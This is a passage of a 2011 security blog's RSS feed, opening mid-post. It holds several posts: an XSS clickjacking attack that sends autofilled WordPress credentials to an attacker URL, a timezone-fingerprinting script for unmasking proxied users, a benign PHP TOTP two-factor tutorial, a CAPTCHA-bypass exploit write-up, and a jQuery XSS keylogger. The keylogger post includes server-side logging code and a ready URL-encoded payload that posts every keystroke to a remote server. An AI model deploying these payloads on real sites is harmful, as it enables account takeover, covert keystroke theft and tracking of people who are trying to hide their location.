'&lt;form name=&quot;loginform&quot; id=&quot;loginform&quot; action=&quot;&quot; method=&quot;post&quot;&gt;' +
'   &lt;input type=&quot;text&quot; name=&quot;log&quot; id=&quot;user_login&quot; /&gt;' +
'  &lt;input type=&quot;password&quot; name=&quot;pwd&quot; id=&quot;user_pass&quot; /&gt;' +
'  &lt;input type=&quot;submit&quot; name=&quot;wp-submit&quot; id=&quot;wp-submit&quot; value=&quot;Log In&quot; /&gt;' +
'&lt;/form&gt;'
);
</pre>
</div>
<p style="text-align: justify;">This will give you a form that gets filled with autocomplete data like so:</p>
<div id="attachment_627" class="wp-caption aligncenter" style="width: 610px"><a href="http://www.idontplaydarts.com/wp-content/uploads/2011/10/Autocomplete-XSS11.png"><img src="http://www.idontplaydarts.com/wp-content/uploads/2011/10/Autocomplete-XSS11.png" alt="" title="Form inserted into page using XSS" width="600" height="161" class="size-full wp-image-627" /></a><p class="wp-caption-text">Form inserted into page using XSS</p></div>
<p style="text-align: justify;">As we cant directly access the values of the autocomplete data we need to convince the user to click on the submit button. All the time they can see our blatant XSS attack they are unlikely too. So next we make both the text fields disappear with a <em>style=&#8221;display:none&#8221;</em> attribute &#8211; we also remove the text from the login button.</p>
<p style="text-align: justify;">The page now looks like a normal page however with a tiny login button the chances of the user clicking on it are remote. The new page will look something like this:</p>
<div id="attachment_629" class="wp-caption aligncenter" style="width: 610px"><a href="http://www.idontplaydarts.com/wp-content/uploads/2011/10/Autocomplete-XSS2.png"><img src="http://www.idontplaydarts.com/wp-content/uploads/2011/10/Autocomplete-XSS2.png" alt="" title="Input fields hidden using XSS" width="600" height="161" class="size-full wp-image-629" /></a><p class="wp-caption-text">Input fields hidden using XSS</p></div>
<p style="text-align: justify;">The next step is to increase the size of the login button using the following CSS style, this will make it take over the entire browser window and look slightly less suspicious.</p>
<div style="font-size:10pt;">
<pre class="brush: css; title: ; notranslate">
width:100%; height:100%; position:absolute; top:0; left:0; z-index:1000;
</pre>
</div>
<div id="attachment_630" class="wp-caption aligncenter" style="width: 610px"><a href="http://www.idontplaydarts.com/wp-content/uploads/2011/10/Autocomplete-XSS3.png"><img src="http://www.idontplaydarts.com/wp-content/uploads/2011/10/Autocomplete-XSS3.png" alt="" title="Giant button over the entire page" width="600" height="161" class="size-full wp-image-630" /></a><p class="wp-caption-text">Giant button over the entire page</p></div>
<p style="text-align: justify;">Now we have a giant button taking over the entire site. However as it currently stands all that will happen when the user clicks on the giant button is that their credentials will be posted to the same domain. As we cant change the domain to which the form posts with out loosing the autocomplete data we need to add an onsubmit handler to our injected form. <strong>As long as the form submission is triggered with a mouse click the onsubmit JavaScript handler will be able to access to the <em>.value</em> properties of the text boxes</strong> &#8211; these can then be sent to a domain controlled by the attacker. To combat the fact that the page looks like a giant button we set its opacity to 0 which renders the button totally invisible.</p>
<div style="font-size:10pt;">
<pre class="brush: jscript; title: ; notranslate">
document.write(
'&lt;form action=&quot;&quot; method=&quot;get&quot; name=&quot;loginform&quot; style=&quot;width:100%; height:100%;&quot; onsubmit=&quot;doit();&quot;&gt;' +
' &lt;input type=&quot;text&quot; name=&quot;username&quot; style=&quot;display:none;&quot;/&gt;' +
' &lt;input type=&quot;password&quot; name=&quot;password&quot; style=&quot;display:none;&quot;/&gt;' +
' &lt;input type=&quot;submit&quot; name=&quot;login&quot; value=&quot;&quot; style=&quot;width:100%; height:100%; position:absolute; top:0; left:0; filter:alpha(opacity=0); opacity:0; color:#ffffff;&quot;/&gt;' +
'&lt;/form&gt;
');

function doit() {
 document.location = 'http://example.com/capture.php?user=' + document.loginform.username.value + '&amp;password=' + document.loginform.password.value;
}
</pre>
</div>
<p style="text-align: justify;">Now when they click anywhere on the page their click will be hijacked by the giant transparent button, their credentials will be forwarded to the domain controlled by the attacker and the attacker will gain control over the account. The use of Autocomplete for sensitive forms is a bad idea &#8211; I have no idea why its enabled for such a popular application such as WordPress.</p>
<p style="text-align: justify;">The attack described above is crude and not particularly sophisticated &#8211; with a little time and effort such an attack would be virtually undetectable by the end user.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/10/clickjacking-and-xss-for-reading-autocomplete-credentials/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>JavaScript and Daylight Savings for tracking users.</title>
		<link>http://www.idontplaydarts.com/2011/10/javascript-and-daylight-savings-for-tracking-users/</link>
		<comments>http://www.idontplaydarts.com/2011/10/javascript-and-daylight-savings-for-tracking-users/#comments</comments>
		<pubDate>Sun, 02 Oct 2011 11:35:37 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Browser Fingerprinting]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=553</guid>
		<description><![CDATA[Each country has their own timezone &#8211; although timezones are not generally unique variations in the offset can enable a website using JavaScript to pinpoint your location and operating system to an alarming degree of accuracy. Most countries time differs &#8230; <a href="http://www.idontplaydarts.com/2011/10/javascript-and-daylight-savings-for-tracking-users/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Each country has their own timezone &#8211; although timezones are not generally unique variations in the offset can enable a website using JavaScript to pinpoint your location and operating system to an alarming degree of accuracy. Most countries time differs from UTC by increments of 1 hour and this is generally the case for every 15 degress you travel east or west of the meridian &#8211; of course there are some exceptions, countries such as Iran have offsets of 3hrs 30mins, Nepal (+5:45) and Chatham Island (+12:45). If your unfortunate enough to live in Nepal, Iran, or Chatham Islands its very easy for JavaScript to identify your location just using <a href="http://www.w3schools.com/jsref/jsref_getTimezoneOffset.asp" rel="nofollow">Date.getTimeZoneOffset()</a>. </p>
<p style="text-align: justify;">Similarly the following areas have distinct timezones:</p>
<ul style="float:left; width:300px;">
<li>Marquesas Islands -09:30</li>
<li>Venezuela -04:30</li>
<li>Labrador and Newfoundland -03:30</li>
<li>Brazilian Ocean Islands -02:00</li>
<li>Iran +03:30</li>
<li>Afghanistan +04:30</li>
</ul>
<ul style="float:left;">
<li>Nepal +05:45</li>
<li>Myanmar +06:30</li>
<li>Caiguna-Eucia  +08:45</li>
<li>Lord Howe Island +10:30</li>
<li>Norfolk Island +11:30</li>
<li>Kiribati Line Islands +14:00</li>
</ul>
<p style="text-align: justify; clear:both;">This only affects a few million people in a few specific locations and it makes it hard to establish what country someone is in who shares for example, the -11:00 timezone. However, many countries, states or territories observe or at some stage have experimented with DST (Daylight Savings Time). Mitchigan for example experimented briefly with DST in 1975, Western Australia in 1972 and Fiji in 2009. Places tend to choose different start and end dates and up until 2008 Brazil used to change the time that they entered DST each year. <strong>These differences can be used to distinguish a users country from other countries in the same offset.</strong></p>
<p style="text-align: justify;">Operating systems require a list of these changes in order to know when to change the time. While the name of the timezone and the dates that the clock changes is not directly accessible via the <a href="http://www.w3schools.com/jsref/jsref_obj_date.asp" rel="nofollow">JavaScript Date object</a> the current timezone can be inferred by calculating the dates that the TimeZoneOffset changes. </p>
<p style="text-align: justify;">Using the Date object its possible to loop through all the days from 1970 to 2010 and observe when the TimeZoneOffset changes (1970 is the earliest that the time zone database goes back). By recording the dates when the offset changes we can create a fingerprint that may help to locate a users position:</p>
<pre class="brush: jscript; title: ; notranslate">
var d        = new Date();
var i        = d.getTime();
var oldTime  = d.getTimezoneOffset();
var fp       = '';

d.setTime(0);

for (var i = 0; i &lt; 1317731928000; i += 86400000) {
     d.setTime(i);
     newTime = d.getTimezoneOffset();
     if (newTime != oldTime) {
        timeZone += (newTime + '@' + Math.round(i / 1000) + ';');
        oldTime = newTime;
     }
}
</pre>
<p style="text-align: justify;">When run on Linux in the Firefox browser the script will create strings such as the following which are unique and identify users in New South Wales, Australia:</p>
<div style="font-size:9px;">
<pre class="brush: plain; title: ; notranslate">
-600@39618001; -660@55346401; -600@71067601; -660@86796001; -600@102517201; -660@118850401; -600@134571601; -660@150300001; -600@166021201; -660@181749601; -600@197470801; -660@213199201; -600@228920401; -660@244648801; -600@260370001; -660@276098401; -600@291819601; -660@308152801; -600@323874001; -660@339602401; -600@355323601; -660@371052001; -600@386773201; -660@402501601; -600@418222801; -660@433951201; -600@449672401; -660@466005601; -600@481726801; -660@497455201; -600@513176401; -660@528904801; -600@544626001; -660@560354401; -600@576075601; -660@591804001; -600@607525201; -660@623253601; -600@638974801; -660@655308001; -600@671029201; -660@686757601; -600@702478801; -660@718207201; -600@733928401; -660@749656801; -600@765378001; -660@781106401; -600@796827601; -660@812556001; -600@828882001; -660@844610401; -600@860331601; -660@876060001; -600@891781201; -660@907509601; -600@923230801; -660@938959201; -600@954680401; -660@970408801; -600@986130001; -660@1002463201; -600@1018184401; -660@1033912801; -600@1049634001; -660@1065362401; -600@1081083601; -660@1096812001; -600@1112533201; -660@1128261601; -600@1143982801; -660@1159711201; -600@1175432401; -660@1191765601; -600@1207486801; -660@1223215201; -600@1238936401; -660@1254664801; -600@1270386001; -660@1286114401;
</pre>
</div>
<p style="text-align: justify;">A good example is that of Istanbul (Turkey), Minsk (Belarus) and Jerusalem (Israel) &#8211; All share the +0200 Timezone but all have observed DST at differing times since 1970 creating three different signatures:</p>
<div style="font-size:9px;">
<pre class="brush: plain; title: ; notranslate">
Istanbul:
-180@39132001; -120@57790801; -180@70581601; -120@89240401; -180@102031201; -120@120690001; -180@133480801; -120@152139601; -180@165535201; -120@183589201; -180@196984801; -120@215643601; -180@228434401; -120@247093201; -180@259884001; -120@278542801; -180@291333601; -120@309992401; -180@323388001; -120@341442001; -180@354837601; -120@372891601; -180@386287201; -120@404946001; -180@417736801; -120@436395601; -180@449186401; -120@467845201; -180@480636001; -120@499294801; -180@512690401; -120@530744401; -180@544140001; -120@562194001; -180@575589601; -120@594248401; -180@607039201; -120@625698001; -180@638488801; -120@657147601; -180@669938401; -120@688597201; -180@701992801; -120@720046801; -180@733442401; -120@752101201; -180@764892001; -120@783550801; -180@796341601; -120@815000401; -180@827791201; -120@846450001; -180@859845601; -120@877899601; -180@891295201; -120@909349201; -180@922744801; -120@941403601; -180@954194401; -120@972853201; -180@985644001; -120@1004302801; -180@1017093601; -120@1035752401; -180@1049148001; -120@1067202001; -180@1080597601; -120@1099256401; -180@1112047201; -120@1130706001; -180@1143496801; -120@1162155601; -180@1174946401; -120@1193605201; -180@1207000801; -120@1225054801; -180@1238450401; -120@1256504401; -180@1269900001; -120@1288558801;

Jerusalem:
-180@39477601; -120@55371601; -180@71532001; -120@86821201; -180@102981601; -120@118875601; -180@134431201; -120@150325201; -180@165880801; -120@181774801; -180@197330401; -120@213224401; -180@228780001; -120@244674001; -180@260834401; -120@276123601; -180@292284001; -120@308178001; -180@323733601; -120@339627601; -180@355183201; -120@371077201; -180@386632801; -120@402526801; -180@418082401; -120@433976401; -180@450136801; -120@466030801; -180@481586401; -120@497480401; -180@513036001; -120@528930001; -180@544485601; -120@560379601; -180@575935201; -120@591829201; -180@607989601; -120@623278801; -180@639439201; -120@655333201; -180@670888801; -120@686782801; -180@702338401; -120@718232401; -180@733788001; -120@749682001; -180@765237601; -120@781131601; -180@797292001; -120@812581201; -180@828741601; -120@844635601; -180@860191201; -120@876085201; -180@891640801; -120@907534801; -180@923090401; -120@938984401; -180@955144801; -120@970434001; -180@986594401; -120@1002488401; -180@1018044001; -120@1033938001; -180@1049493601; -120@1065387601; -180@1080943201; -120@1096837201; -180@1112392801; -120@1128286801; -180@1144447201; -120@1159736401; -180@1175896801; -120@1191790801; -180@1207346401; -120@1223240401; -180@1238796001; -120@1254690001; -180@1270245601; -120@1286139601;

Minsk:
-180@39045601; -120@57790801; -180@70495201; -120@89240401; -180@101944801; -120@120690001; -180@133999201; -120@152139601; -180@165448801; -120@183589201; -180@196898401; -120@215643601; -180@228348001; -120@247093201; -180@259797601; -120@278542801; -180@291247201; -120@309992401; -180@323301601; -120@341442001; -180@354751201; -120@372891601; -180@386200801; -120@404946001; -180@417650401; -120@436395601; -180@449100001; -120@467845201; -180@481154401; -120@499294801; -180@512604001; -120@530744401; -180@544053601; -120@562194001; -180@575503201; -120@594248401; -180@606952801; -120@625698001; -180@638402401; -120@657147601; -180@670456801; -120@688597201; -180@701906401; -120@720046801; -180@733356001; -120@752101201; -180@764805601; -120@783550801; -180@796255201; -120@815000401; -180@828309601; -120@846450001; -180@859759201; -120@877899601; -180@891208801; -120@909349201; -180@922658401; -120@941403601; -180@954108001; -120@972853201; -180@985557601; -120@1004302801; -180@1017612001; -120@1035752401; -180@1049061601; -120@1067202001; -180@1080511201; -120@1099256401; -180@1111960801; -120@1130706001; -180@1143410401; -120@1162155601; -180@1174860001; -120@1193605201; -180@1206914401; -120@1225054801; -180@1238364001; -120@1256504401; -180@1269813601; -120@1288558801;
</pre>
</div>
<p style="text-align: justify;">This technique is handy for helping to establish the identify of users who are attempting to mask their locations by using proxy servers alone. Different operating systems may also yield slightly different results enabling you to use this technique to fingerprint both their OS and location.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/10/javascript-and-daylight-savings-for-tracking-users/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google TOTP Two-factor Authentication for PHP</title>
		<link>http://www.idontplaydarts.com/2011/07/google-totp-two-factor-authentication-for-php/</link>
		<comments>http://www.idontplaydarts.com/2011/07/google-totp-two-factor-authentication-for-php/#comments</comments>
		<pubDate>Mon, 25 Jul 2011 09:26:24 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Google Authenticator]]></category>
		<category><![CDATA[Hardening]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Two-factor]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=486</guid>
		<description><![CDATA[At the beginning of the year Google released 2 Factor Authentication (2FA) for G-Mail providing an application for Android, IPhone and Blackberry called Google Authenticator to generate one time login tokens. This post will show how to implement Google 2FA &#8230; <a href="http://www.idontplaydarts.com/2011/07/google-totp-two-factor-authentication-for-php/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">At the beginning of the year <a href="https://www.google.com/support/accounts/bin/static.py?page=guide.cs&#038;guide=1056283&#038;topic=1056284" title="Google 2FA explained" target="_blank" rel="nofollow">Google released 2 Factor Authentication (2FA)</a> for G-Mail providing an application for Android, IPhone and Blackberry called Google Authenticator to generate one time login tokens. This post will show how to implement Google 2FA to protect web applications from stolen credentials.</p>
<p><img src="/wp-content/uploads/2011/07/googleauthenticator1.png" alt="" title="Google Authenticator" width="174" height="174" class="alignleft size-full wp-image-536" /></p>
<p style="text-align: justify;">Google Authenticator is based on <a title="RFC 4226" href="http://www.ietf.org/rfc/rfc4226.txt" rel="nofollow" target="_blank">RFC 4226</a> &#8211; a Time based One Time Password (TOTP) which is initialised using a 16 digit base 32  (<a title="RFC 4648" rel="nofollow" href="http://tools.ietf.org/html/rfc4648" target="_blank">RFC 4648</a>) encoded seed value. Initial seeds used for the TOTP can be entered into the Google Authenticator via a camera using QR codes or via the keyboard. Google has also provided <a title="Google PAM module 2FA" href="https://code.google.com/p/google-authenticator/wiki/PamModuleInstructions" target="_blank" rel="nofollow">a PAM module</a> allowing users to integrate 2FA for sshd.</p>
<p style="text-align: justify;">A module can be written to support the Google TOTP in any language &#8211; the only caveat with writing a library for PHP is a lack of an RFC 4648 compliant base 32 decoding function. A base 32 function is needed to decode the initial seed. This is probably the most tricky part of implementing Google&#8217;s 2FA. The following function can be used:</p>
<pre class="brush: php; title: ; notranslate">
function base32_decode($b32) {
  $lut = array(&quot;A&quot; =&gt; 0,       &quot;B&quot; =&gt; 1,
               &quot;C&quot; =&gt; 2,       &quot;D&quot; =&gt; 3,
               &quot;E&quot; =&gt; 4,       &quot;F&quot; =&gt; 5,
               &quot;G&quot; =&gt; 6,       &quot;H&quot; =&gt; 7,
               &quot;I&quot; =&gt; 8,       &quot;J&quot; =&gt; 9,
               &quot;K&quot; =&gt; 10,      &quot;L&quot; =&gt; 11,
               &quot;M&quot; =&gt; 12,      &quot;N&quot; =&gt; 13,
               &quot;O&quot; =&gt; 14,      &quot;P&quot; =&gt; 15,
               &quot;Q&quot; =&gt; 16,      &quot;R&quot; =&gt; 17,
               &quot;S&quot; =&gt; 18,      &quot;T&quot; =&gt; 19,
               &quot;U&quot; =&gt; 20,      &quot;V&quot; =&gt; 21,
               &quot;W&quot; =&gt; 22,      &quot;X&quot; =&gt; 23,
               &quot;Y&quot; =&gt; 24,      &quot;Z&quot; =&gt; 25,
               &quot;2&quot; =&gt; 26,      &quot;3&quot; =&gt; 27,
               &quot;4&quot; =&gt; 28,      &quot;5&quot; =&gt; 29,
               &quot;6&quot; =&gt; 30,      &quot;7&quot; =&gt; 31
  );

  $b32    = strtoupper($b32);
  $l      = strlen($b32);
  $n      = 0;
  $j      = 0;
  $binary = &quot;&quot;;

  for ($i = 0; $i &lt; $l; $i++) {

       $n = $n &lt;&lt; 5;
       $n = $n + $lut[$b32[$i]];
       $j = $j + 5;

       if ($j &gt;= 8) {
           $j = $j - 8;
           $binary .= chr(($n &amp; (0xFF &lt;&lt; $j)) &gt;&gt; $j);
       }
  }

  return $binary;
}
</pre>
<p style="text-align: justify;">This binary seed value will be used in a SHA1 hash along with the current Unix time-stamp to generate one time tokens. The Unix time-stamp is divided by 30 so that the one time password changes every 30 seconds.</p>
<pre class="brush: php; title: ; notranslate">
function get_timestamp() {
   return floor(microtime(true)/30);
}
</pre>
<p style="text-align: justify;">Sadly you cant just pass the number from get_timestamp straight into the sha1 function. The time-stamp first needs to be reduced into a binary string of 8 bytes. Since pack doesn&#8217;t support 64bit integers we use two unsigned 32 bit integers to make up the binary form.</p>
<pre class="brush: php; title: ; notranslate">
$binary_timestamp = pack('N*', 0) . pack('N*', $timestamp);
</pre>
<p style="text-align: justify;">Once you have the binary seed and the binary timestamp you have to pass them into the &#8220;hash_mhac&#8221; function. This gives you a 20 byte sha1 string.</p>
<pre class="brush: php; title: ; notranslate">
$hash = hash_hmac ('sha1', $binary_timestamp, $binary_key, true);
</pre>
<p style="text-align: justify;">This hash is then processed in accordance with RFC 4226 to obtain the one time password.</p>
<pre class="brush: php; title: ; notranslate">
$offset = ord($hash[19]) &amp; 0xf;

$OTP = (
   ((ord($hash[$offset+0]) &amp; 0x7f) &lt;&lt; 24 ) |
    ((ord($hash[$offset+1]) &amp; 0xff) &lt;&lt; 16 ) |
    ((ord($hash[$offset+2]) &amp; 0xff) &lt;&lt; 8 ) |
    (ord($hash[$offset+3]) &amp; 0xff)
   ) % pow(10, 6);
</pre>
<p style="text-align: justify;">Now $OTP should contain your one time password. There are however still a couple of small issues to overcome if you want to use this within an application:</p>
<ul>
<li>
<p style="text-align: justify;">Your client and server clocks may not be in sync &#8211; this could means that when you come to check your token generated by the user that it will fail. To combat this a you can either stipulate that the client and server clocks must be in perfect sync or you need to create a function which checks the tokens against those +/- 2 minutes of the current server time. This will allow your client and server to be up to 2 minutes out but obviously increases the chance that an attacker could correctly guess a one time token.</p>
</li>
<li>
<p style="text-align: justify;">If there is no upper limit on the number of attempts a user can make at guessing a token it may be possible to brute-force the one-time token.
</p>
</li>
<li>
<p style="text-align: justify;">If the seed is too small and an attacker can intercept a few tokens it may be possible to brute-force the seed value allowing the attacker to generate new one-time tokens. For this reason Google enforces a minimum seed length of 16 characters or 80-bits.</p>
</li>
<li>
<p style="text-align: justify;">If a token is not marked as invalid as soon as it has been used an attacker who has intercepted the token may be able to quickly replay it to obtain access.</li>
</ul>
<div id="attachment_526" class="wp-caption alignright" style="width: 210px"><img src="/wp-content/uploads/2011/07/PEHMPSDNLXIOG65U.png" alt="Google Authenticator: Seed value &#039;PEHMPSDNLXIOG65U&#039;" title="PEHMPSDNLXIOG65U" width="200" height="200" class="size-full wp-image-526" /><p class="wp-caption-text">Seed value &#039;PEHMPSDNLXIOG65U&#039;</p></div>
<p style="text-align: justify;"><a href="http://www.idontplaydarts.com/wp-content/uploads/2011/07/ga.php_.txt">A class for PHP that implements Google TOTP can be downloaded here</a>. Its missing protection against brute-force attacks but otherwise fully functional.</p>
<p style="text-align: justify;">You can check if its working by installing the Google Authenticator application and scanning the QR code to the right &#8211; codes generated by the application should match codes generated by the class. The function Google2FA::verify_key should be used to validate the users one time token as it allows the clients clock to drift either side of the server time by 2 minutes.</p>
<p style="text-align: justify;">Custom QR codes can be generated using the Google QR generator at https://www.google.com/chart?chs=200&#215;200&#038;chld=M|0&#038;cht=qr&#038;chl=otpauth://totp/idontplaydarts?secret=SECRETVALUEHERE</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/07/google-totp-two-factor-authentication-for-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exploit: PHPCaptcha / Securimage is not secure.</title>
		<link>http://www.idontplaydarts.com/2011/05/exploit-phpcaptcha-securimage/</link>
		<comments>http://www.idontplaydarts.com/2011/05/exploit-phpcaptcha-securimage/#comments</comments>
		<pubDate>Wed, 25 May 2011 10:00:20 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[CAPTCHA]]></category>
		<category><![CDATA[Design Flaw]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=307</guid>
		<description><![CDATA[Recently I discovered an easy way to bypass PHPCaptcha also known as SecurImage. The method described below will break the CAPTCHA every time, without fail and affects versions 1.0.4 and above. Previous versions are also probably vulnerable tho only exploit &#8230; <a href="http://www.idontplaydarts.com/2011/05/exploit-phpcaptcha-securimage/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Recently I discovered an easy way to bypass <a href="http://www.phpcaptcha.org/" rel="nofollow">PHPCaptcha also known as SecurImage</a>. The method described below will break the CAPTCHA every time, without fail and affects versions 1.0.4 and above. Previous versions are also probably vulnerable tho only exploit code for the MP3 file format (implemented as default since version 2.0.0) is provided.</p>
<p style="text-align: justify;">The flaw in the CAPTCHA stems from the way MP3 and WAV audio codes, intended for use by by the visually impaired, are generated. It is worth noting that even when the user of the site has removed the audio functionality from their displayed CAPTCHA the functionality can still be accessed via <a href="https://www.owasp.org/index.php/Forced_browsing" rel="nofollow">forceful browsing</a> to the file called &#8220;/securimage_play.php&#8221;. This means that unless the administrator of the site has removed the securimage_play.php file that their site is vulnerable to attack.</p>
<p style="text-align: justify;">The audio codes that are generated by PHPCaptcha are created by concatenating a set of audio files (that are publicly accessible in /audio directory). To prevent simple binary analysis of the output the author randomly changes the value of every 64th byte in the generated audio file starting from an initial offset that is also defined by a random integer in the range 1-64. The effect of the mutation means that when you listen to the audio its very hard to determine what letters are being heard. The code used for the mutation is shown below:</p>
<pre class="brush: php; title: ; notranslate">
    function scrambleAudioData(&amp;$data, $format)
    {
        if ($format == 'wav') {
            $start = strpos($data, 'data') + 4;
            if ($start === false) $start = 44;
        } else { // mp3
            $start = 4;
        }

        $start  += rand(1, 64);
        $datalen = strlen($data) - $start - 256;

        for ($i = $start; $i &lt; $datalen; $i += 64) {
            $ch = ord($data{$i});
            if ($ch &lt; 9 || $ch &gt; 119) continue;

            $data{$i} = chr($ch + rand(-8, 8));
        }
    }
</pre>
<p style="text-align: justify;">While this prevents simple binary analysis of the generated audio it does not prevent an attacker from building a list of 64 byte strings from the publicly accessible audio samples and using these in comparison against the concatenated audio file. By determining where in the file these strings occur its possible to decode the CAPTCHA with a 100% success rate. The decision by the author to change only the 64th byte of the final audio file is a fatal design flaw.</p>
<p style="text-align: justify;">You can <a href='http://www.idontplaydarts.com/wp-content/uploads/2011/05/POC-explot.zip'>download the PHPCaptcha exploit</a> capable of decoding the MP3 CAPTCHA format. It is currently configured to run against the &#8220;sample_form.php&#8221; script that comes by default with SecurImage / PHPCaptcha. Below is a video of the exploit running:</p>
<p><object style="height: 390px; width: 640px"><param name="movie" value="http://www.youtube.com/v/qqfk_Jt-pnw?version=3"><param name="allowFullScreen" value="true"><param name="allowScriptAccess" value="always"><embed src="http://www.youtube.com/v/qqfk_Jt-pnw?version=3" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="640" height="390"></object></p>
<p style="text-align: justify;">No fix is currently available from the author. The only current solution is to remove the securimage_play.php script from your site.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/05/exploit-phpcaptcha-securimage/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Javascript keylogger in JQuery.</title>
		<link>http://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery/</link>
		<comments>http://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery/#comments</comments>
		<pubDate>Fri, 20 May 2011 14:13:12 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=385</guid>
		<description><![CDATA[I needed to capture someone&#8217;s login credentials using cross site scripting. However I had 3 problems. Firstly there was no XSS on the login page, secondly the only XSS was reflected, meaning it only affected the current page and thirdly &#8230; <a href="http://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">I needed to capture someone&#8217;s login credentials using cross site scripting. However I had 3 problems. Firstly there was no XSS on the login page, secondly the only XSS was reflected, meaning it only affected the current page and thirdly the HTTPOnly flag was set on the session meaning I couldn&#8217;t hijack it.</p>
<p style="text-align: justify;">So I came up with a solution that turns reflected cross site scripting into a crude form of persistent XSS and records the users keystrokes to a remote server. The idea is that you embed some XSS code in a vulnerable page on the same domain as the login page. Its important that its on the same domain so that we can access the contents of the iframe and hook the keyboard input. If its not on the same domain then the browser won&#8217;t let you do this.</p>
<p style="text-align: justify;">The general architecture of the exploit looks something like this.</p>
<p><a href="http://www.idontplaydarts.com/wp-content/uploads/2011/05/xss.png"><img class="aligncenter size-full wp-image-386" title="XSS Keylogger" src="/wp-content/uploads/2011/05/xss.png" alt="" width="522" height="302" /></a></p>
<p style="text-align: justify;">The page with XSS spawns an iframe that fills up the contents of the window and places it over the top of everything currently in the window. The src of the Iframe should be whatever page you want to capture keystrokes from. It then adds a hook to the contents of the iframe so that every time there is a keypress it polls back to a server controlled by the attacker.</p>
<p style="text-align: justify;">The great thing about using the Iframe is that the user can navigate away from the page and the keystroke logger will still be running as the src of the parent Iframe remains the same and it is the parent Iframe in which the key logger resides.</p>
<p style="text-align: justify;"><strong><em>The code:</em></strong><br />
I used JQuery as I wanted the Key logger to be cross browser compliant, if the site your targeting has JQuery already included then you wont have to embed jQuery and can avoid the script tags all together. I also included a time stamp when sending the keystroke to the remote server as occasionally the GET requests were arriving out of order &#8211; having a time stamp enables you to reassemble the keystrokes in the correct order server-side.</p>
<pre class="brush: jscript; title: ; notranslate">
&lt;script src=&quot;http://code.jquery.com/jquery-1.6.1.min.js&quot;&gt;&lt;/script&gt;
&lt;iframe src=&quot;/login.php&quot; id=&quot;w&quot; style=&quot;width:100%; height:100%; position:absolute; top:0; left:0; z-index:2; background-color:#ffffff;&quot; onload=&quot;$('#w').contents().keypress(function(event) {$.get('http://www.mysite.com/k.php?x='+event.which+'&amp;t='+event.timeStamp,function(data){});});&quot;&gt;&lt;/iframe&gt;
</pre>
<p style="text-align: justify;">You don&#8217;t even need server side code to do the logging, as long as you have access to your web server error logs you should be able to see all the keystrokes arriving as GET requests. If you did want more friendly server-side code it might look something like this:</p>
<pre class="brush: php; title: ; notranslate">
$f = fopen(&quot;/tmp/log.txt&quot;,&quot;a+&quot;);
fputs($f, $_SERVER['REMOTE_ADDR'] . &quot;\t&quot; . $_GET['t'] . &quot;\t&quot; . chr($_GET['x']) . &quot;\n&quot;);
fclose($f);
</pre>
<p style="text-align: justify;"><strong><em>Encoding the payload:</em></strong><br />
The full url encoded payload is shown below, both the initial Iframe src page and the destination script for the key strokes are marked in bold. Both will need to be changed if you are to use this.</p>
<blockquote><p>
%3Cscript+src%3D%22http%3A%2F%2Fcode.jquery.com%2Fjquery-1.6.1.min.js%22%3E%3C%2Fscript%3E%3Ciframe+src%3D%22<strong>%2Flogin.php</strong>%22+id%3D%22w%22+style%3D%22width%3A100%25%3B+height%3A100%25%3B+position%3Aabsolute%3B+top%3A0%3B+left%3A0%3B+z-index%3A2%3B+background-color%3A%23ffffff%3B%22+onload%3D%22%24%28%27%23w%27%29.contents%28%29.keypress%28function%28event%29+%7B%24.get%28%27http%3A%2F%2F<strong>www.mysite.com%2Fk.php</strong>%3Fx%3D%27%2Bevent.which%2B%27%26t%3D%27%2Bevent.timeStamp%2Cfunction%28data%29%7B%7D%29%3B%7D%29%3B%22%3E%3C%2Fiframe%3E
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Clickjacking and Phishing with help from the HTML5 JavaScript Sandbox</title>
		<link>http://www.idontplaydarts.com/2011/05/clickjacking-and-phishing-with-help-from-the-html5-javascript-sandbox/</link>
